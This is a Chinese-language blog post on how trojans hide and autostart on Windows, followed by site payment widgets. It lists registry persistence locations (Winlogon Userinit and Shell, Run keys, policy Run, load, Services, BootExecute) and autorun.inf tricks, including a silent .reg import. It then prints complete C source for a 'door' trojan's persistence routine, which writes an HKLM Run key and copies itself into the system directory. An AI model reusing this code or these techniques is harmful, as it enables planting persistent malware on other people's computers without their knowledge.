木马隐藏技术

木马隐藏技术

一. 注册表启动

1. 注册表Userinit位置

注册表中Userinit项后面带的是系统启动程序

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Current \ Version \ Winlogon

Userinit键值可以带一些系统启动时的初始化程序,例如:

C:\WINDOWS\system32\userinit.exe, QQ.exe

2. 利用AutoRun.inf自动启动

[AutoRun]

Icon=C:\Windows\System\Shell32.dll, 21

Open=C:\Program Files\ACDSee\ACDSee.exe

在autorun.inf文件中也可以运行某个注册表文件:

[AutoRun]

Open=regedit/s Share.reg;

3. 组策略中的隐藏

开始菜单的启动项:

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run

HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run

组策略:

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Run

注册表中Load键值:

HKEY_CURRENT_USER \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Windows \ load

Windows中加载的服务,级别较高,用于最先加载:

HKEY_LOCAL_MACHINE \ System\ CurrentControlSet \ Services

Windows Shell:

HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \下面的字符串类型键值,其默认值为explorer.exe

木马程序可能会再此加入自身并以木马参数的形式调用资源管理器,以达到欺骗用户的目的;

BootExecute:

HKEY_LOCAL_MACHINE \ System \ ControlSet001 \ Session Manager \ 下面有一个名为BootExecute的多字符串键,默认为autocheck autochk *用于系统启动时的某些自动检查,这个启动项目中的程序是在系统图形界面完成前就被执行,具有很高的优先级。

door木马的自动加载部分,源代码如下:

#include <stdio.h>
#include <windows.h>

int main()
{
	char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	HKEY hkResult;
	int ret;
	ret = RegOpenKey(HKEY_LOCAL_MACHINE, regname, &hkResult);
	//打开关键字
	ret = RegSetValueEx(hkResult, "door", 0, REG_EXPAND_SZ, (unsigned char *) "%systemroot%\\door.exe", 25);
	//设置键值
	if(ret == 0)
	{
		printf("success to write run key\n");
		RegCloseKey(hkResult);
	}
	else
	{
		printf("failed to open regedit.%d\n", ret);
		return 0;
	}
	char modlepath[256];
	char syspath[256];
	GetModuleFileName(0, modlepath, 256);
	//取得程序名字
	GetSystemDirectory(syspath, 256);
	ret = CopyFile(modlepath, strcat(syspath, "\\door.exe"), 1);
	if(ret)
		printf("%s has been copyed to sys dir %s\n", modlepath, syspath);
	else 
		printf("%s is exisits", modlepath);
	return 0;
}
详见:《木马技术揭秘与防御》赵玉明 黑客防线编辑部


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值